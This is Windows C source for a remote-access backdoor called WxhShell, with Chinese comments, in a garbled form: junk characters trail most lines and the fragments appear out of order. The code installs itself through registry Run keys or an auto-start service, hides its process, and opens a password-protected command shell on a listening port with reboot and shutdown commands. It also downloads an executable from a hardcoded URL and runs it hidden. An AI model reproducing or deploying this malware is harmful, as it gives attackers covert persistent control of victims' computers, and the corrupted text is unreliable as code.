} PROCESS_BASIC_INFORMATION; o[5=S,'
@2x0V]AI
PROCNTQSIP NtQueryInformationProcess; =NVZ$K OZ
!=8L.^5c
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V+4k!
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }qgqb
L8,H9T#e
HANDLE hProcess; U08<V:~
PROCESS_BASIC_INFORMATION pbi; 9}K(Q=
]# tGT0
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $Uv<LVd(
if(NULL == hInst ) return 0; ]be0I)
gJ)h9e*m^
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'sT}DX(7M
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MEdIw#P.}{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \NvC
ae9k[=-
if (!NtQueryInformationProcess) return 0; #+2:d?t
[[Jv)?jm
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +X2 i/}
if(!hProcess) return 0; k1QpX@
/xX,
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wiK@o$S-
mh!N^[=n
CloseHandle(hProcess); g:~?U*f-
?~]1Gd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .N-'; %8
if(hProcess==NULL) return 0; nzQYn
u8{@PlS
HMODULE hMod; `Yo-5h
char procName[255]; !Vp,YN+yN
unsigned long cbNeeded; ^C,/T2>
[0**&.obz
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S<2CG)K[
Q
KcF1?
CloseHandle(hProcess); d[P>jl%7
n)1
if(strstr(procName,"services")) return 1; // 以服务启动 <{-(\>f!9
cpr{b8Xb8&
return 0; // 注册表启动 tF;& x
g
} ,oB k>
110>p
// 主模块 84hi, S5P
int StartWxhshell(LPSTR lpCmdLine) >[E|p6jgT
{ ei|*s+OZu
SOCKET wsl;
8;+Hou
BOOL val=TRUE; _!$Up
int port=0; Z;"4$@|qE
struct sockaddr_in door; ^w&5@3d
O3<Y _I^
if(wscfg.ws_autoins) Install(); eaYkYuS/
^J#*n;OQ3A
port=atoi(lpCmdLine); Ht=6P)
m_r@t*
if(port<=0) port=wscfg.ws_port; x[.z"$T@
r[UyI3(i^
WSADATA data; b.%B;qB
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dc\u$'F@S
Yt O@n@1
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; u75)>^:I
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ()3x%3
door.sin_family = AF_INET; &"r==A?
door.sin_addr.s_addr = inet_addr("127.0.0.1"); j-C42Pfr
door.sin_port = htons(port); ]`/R("l[
I 1VEm?CQ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?-.Ep0/
closesocket(wsl); TYJnQ2m
return 1; Ls$g-k%c@Q
} &[W3e3Asra
*k@0:a(>
if(listen(wsl,2) == INVALID_SOCKET) { 0]2B-o"kI
closesocket(wsl); HhY2`P8
return 1; ]` &[Se d
} D"(3VIglq
Wxhshell(wsl); ai;gca_P#
WSACleanup(); Vx7Dl{?{'
NbdMec
return 0; 1
">d|oC
B;D:9K
} . ;ea]_Z
Fgc:6<MGM
// 以NT服务方式启动 dx?njR
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r3BDq
{ ~D`oP/6
DWORD status = 0; S'%cf7Z
DWORD specificError = 0xfffffff; 8H%I|fm
g_Dt} !A\B
serviceStatus.dwServiceType = SERVICE_WIN32; thZ@BrO#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @L>NN>?SGQ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
Vf,~MG
serviceStatus.dwWin32ExitCode = 0; WT ~dA95
serviceStatus.dwServiceSpecificExitCode = 0; (-Ct!aW|
serviceStatus.dwCheckPoint = 0; L9unhx
serviceStatus.dwWaitHint = 0; 9^
*ZH1
~a8G 5M
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \dxW44sM
if (hServiceStatusHandle==0) return; pD}VB6=
.5[LQR
status = GetLastError(); ! MF"e|W
if (status!=NO_ERROR) 2cX"#."5p
{ O.up%'%,
serviceStatus.dwCurrentState = SERVICE_STOPPED; HBga'xJ
serviceStatus.dwCheckPoint = 0; nGJIjo_I
serviceStatus.dwWaitHint = 0; +O!M>
serviceStatus.dwWin32ExitCode = status; 7p>-oR"
serviceStatus.dwServiceSpecificExitCode = specificError; %6c*dy
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W|-N>,G
return; )r6SGlE[Y
} {, *Y
4k&O-70y4^
serviceStatus.dwCurrentState = SERVICE_RUNNING; !Bd*
L~D
serviceStatus.dwCheckPoint = 0; CXP $bt}
serviceStatus.dwWaitHint = 0; Q3'B$,3O^
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M;TfD
} "JUQ)> !?
]x(2}h^S
// 处理NT服务事件,比如:启动、停止 .jGsO0
VOID WINAPI NTServiceHandler(DWORD fdwControl) |<Dx
{ <}Wy;!L
switch(fdwControl) lTOM/^L
{ 4-nr_
WCm4
case SERVICE_CONTROL_STOP: %_@5_S
serviceStatus.dwWin32ExitCode = 0; DneSzqO"o
serviceStatus.dwCurrentState = SERVICE_STOPPED; bmq XP
serviceStatus.dwCheckPoint = 0; 5t5S{aCDr
serviceStatus.dwWaitHint = 0; v`ZusHJ1d
{ uI-76
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @01D1A
} ?D^,K`wY=B
return; Xx<&6
4W
case SERVICE_CONTROL_PAUSE: uA/.4 b
serviceStatus.dwCurrentState = SERVICE_PAUSED; *ZSp9g"Z
break; u+tb83~[=
case SERVICE_CONTROL_CONTINUE: e'?doP
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~ew**@N
break; ^(m6g &$(
case SERVICE_CONTROL_INTERROGATE: [?f.0q
break; g
/ @yK
}; UG?C=Tf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5@Lxbe(
q
} 0)Um W{
VU0tyj$
// 标准应用程序主函数 .]ZuG
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) acju!,G
{ Py25k 0j!
c'Tu,-
// 获取操作系统版本 7D~O/#dcc
OsIsNt=GetOsVer(); 'St= izhd
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,vdP
#:
s$\8)V52
// 从命令行安装 q~dg
if(strpbrk(lpCmdLine,"iI")) Install(); @G$<6CG\
3;l>x/amk
// 下载执行文件 .s*EV!SE
if(wscfg.ws_downexe) { W*DIW;8p
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZM^;%(
WinExec(wscfg.ws_filenam,SW_HIDE); Am?Hkh2
} 8OtUY}R
WT!\X["FI$
if(!OsIsNt) { |%cO"d^ri
// 如果时win9x,隐藏进程并且设置为注册表启动 O2/w:zOg'
HideProc(); aE cg_es
StartWxhshell(lpCmdLine); AW;)_|xM
} GuY5 %wr
else <w2NJ~M^
if(StartFromService()) 6.7Kp
// 以服务方式启动 XM@i|AK
M0
StartServiceCtrlDispatcher(DispatchTable); P$
dgO
else Z
*<x
// 普通方式启动 aC
}1]7
StartWxhshell(lpCmdLine); &b6@_C9
I\%Lb
z
return 0; >h( rd1
} `FB?cPR
hSKH#NS
N u2]~W&
U9[A(
=========================================== ec[[OIO
/\$|D&e
KeHE\Fq^V
SF7b1jr
g2>u]3&W
wJR i;fvi
" _
*s
qe"6#@b *|
#include <stdio.h> <07W&`Dw
#include <string.h> rJQ|Oi&1i
#include <windows.h> K/d&c]
#include <winsock2.h> ^W[`##,{Od
#include <winsvc.h> 4-rI4A<
#include <urlmon.h> C(*@-Npf[
j=QR*8*
#pragma comment (lib, "Ws2_32.lib") GhQ`{iJM
#pragma comment (lib, "urlmon.lib") kDP^[V
P+
F20-!b
#define MAX_USER 100 // 最大客户端连接数 .-~%w
#define BUF_SOCK 200 // sock buffer $#JVI:
#define KEY_BUFF 255 // 输入 buffer *]{I\rX
f#Cdx"
#define REBOOT 0 // 重启 <\>ak7m
#define SHUTDOWN 1 // 关机 RYJc>
SVWSO
#define DEF_PORT 5000 // 监听端口 :O+b4R+
m1o65FsY08
#define REG_LEN 16 // 注册表键长度 ?!j/wV_H
#define SVC_LEN 80 // NT服务名长度 rZQHB[^3
(0m$W<
// 从dll定义API 2LH;d`H[0
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e.ym7L]$O
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Wy>\KrA1
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E/P53CD
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zp-~'kIJ
U105u.#7
// wxhshell配置信息 u,SZ-2K!7~
struct WSCFG { xWb?i6)z&
int ws_port; // 监听端口 sl
@6
char ws_passstr[REG_LEN]; // 口令 5f@YrTO[@
int ws_autoins; // 安装标记, 1=yes 0=no Yn2^nT=8
char ws_regname[REG_LEN]; // 注册表键名 78~V/L;@S2
char ws_svcname[REG_LEN]; // 服务名 'p+QFT>Ca
char ws_svcdisp[SVC_LEN]; // 服务显示名 ;p!hd}C
char ws_svcdesc[SVC_LEN]; // 服务描述信息
9QZ wUQ
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &0Zk3D4
int ws_downexe; // 下载执行标记, 1=yes 0=no ^K8a#-
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |8{iIvi/
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FH(+7Lz4;
~EkGG
.
}; 9+Bq00-Z$
Prx s2 i 8
// default Wxhshell configuration kR?n%`&k
struct WSCFG wscfg={DEF_PORT, 7tKft
"xuhuanlingzhe", sZBO_](S
1, g}r5ohqC#
"Wxhshell", 3v+}YT{>b
"Wxhshell", 2MzFSmhc"
"WxhShell Service", PH!B /D5G
"Wrsky Windows CmdShell Service", *t9qH
"Please Input Your Password: ", Awf=yE:
1, 8vo7~6yy
"http://www.wrsky.com/wxhshell.exe", zGz'2,o3
"Wxhshell.exe" l^?A8jG
}; >Mw =}g@P
#f;1f8yrN
// 消息定义模块 > BCX%<&
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; grAL4
char *msg_ws_prompt="\n\r? for help\n\r#>"; W%Q>< 'c
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s(Bi&C\
char *msg_ws_ext="\n\rExit."; >M85xjXP
char *msg_ws_end="\n\rQuit."; 7gmMqz"z(>
char *msg_ws_boot="\n\rReboot..."; *`'%tp"'+
char *msg_ws_poff="\n\rShutdown..."; ,8?*U]}
char *msg_ws_down="\n\rSave to "; &?sjeC_
usf(U>
char *msg_ws_err="\n\rErr!"; =C1Qo#QQ%
char *msg_ws_ok="\n\rOK!"; ([o:_5/8I
]=<@G.[=
char ExeFile[MAX_PATH]; vg1s5Yqk
int nUser = 0; ,?~,"IQyi[
HANDLE handles[MAX_USER]; pR>QIZq<gT
int OsIsNt; %~XJwy-
z4:09!o_
SERVICE_STATUS serviceStatus; pvxqeC9`
SERVICE_STATUS_HANDLE hServiceStatusHandle; 2dW-WHaM
g c=|<(
// 函数声明 -3U}
(cZ*
int Install(void); 7B"aFnK;[J
int Uninstall(void); |noTIAI
int DownloadFile(char *sURL, SOCKET wsh); $:Zxb
int Boot(int flag); lfd{O7 L0b
void HideProc(void); Z i&X ,K~
int GetOsVer(void); 3PeJPw
int Wxhshell(SOCKET wsl); |]b/5s;>
void TalkWithClient(void *cs); W\Y
4%y}
int CmdShell(SOCKET sock); q`zR 6
int StartFromService(void); wb"t:(>&
int StartWxhshell(LPSTR lpCmdLine); {z
~
'
n :kxG
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~36XJ
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uoc-qmm
)@M|YM1+
// 数据结构和表定义 *9^k^h(r&4
SERVICE_TABLE_ENTRY DispatchTable[] = ,1h(k<-
{ 5*Iz3vTq
{wscfg.ws_svcname, NTServiceMain}, ')~HOCBSE
{NULL, NULL} IWnW(>V
}; 824%]i3
:$d 3a"]
// 自我安装 1nG"\I5N}
int Install(void) 0_izTke
{ y%Ah"UY
char svExeFile[MAX_PATH]; aKcV39brr
HKEY key; c3-bn #
strcpy(svExeFile,ExeFile); Gl1$W=pR:
Ia"
Mi+{
// 如果是win9x系统,修改注册表设为自启动 e{S`iO
if(!OsIsNt) { ^@eCT}p{
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zxHfQ(
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s#49pDN
RegCloseKey(key); PmTd+Gj$
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K*RRbtb
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hUc|Xm
RegCloseKey(key); ?"Q6;np*
return 0; lph_cY3p
} ?q`mr_x%?
} wO
NQlt
} l]cQ7g5
else { $yJfAR
ga%77t|jm3
// 如果是NT以上系统,安装为系统服务 Q"uu&JC
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wu'60po
if (schSCManager!=0) izA3 INT
{ {+}Lc$O#C
SC_HANDLE schService = CreateService UQr+\ u
( I!~Omr@P
schSCManager, 6h8NrjX
wscfg.ws_svcname, AlV2tffY^
wscfg.ws_svcdisp,
mAKi%)
SERVICE_ALL_ACCESS,
A(5?
ci
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qpCi61lTDJ
SERVICE_AUTO_START, vi|ASA{V
SERVICE_ERROR_NORMAL, U {v_0\ES
svExeFile, Gu=bPQOj
NULL, ,oe4*b}O=.
NULL, L}nc'smvM
NULL, '(*D3ysU
NULL, a[De
NULL ?c*d
z{
); bN)?szh&Y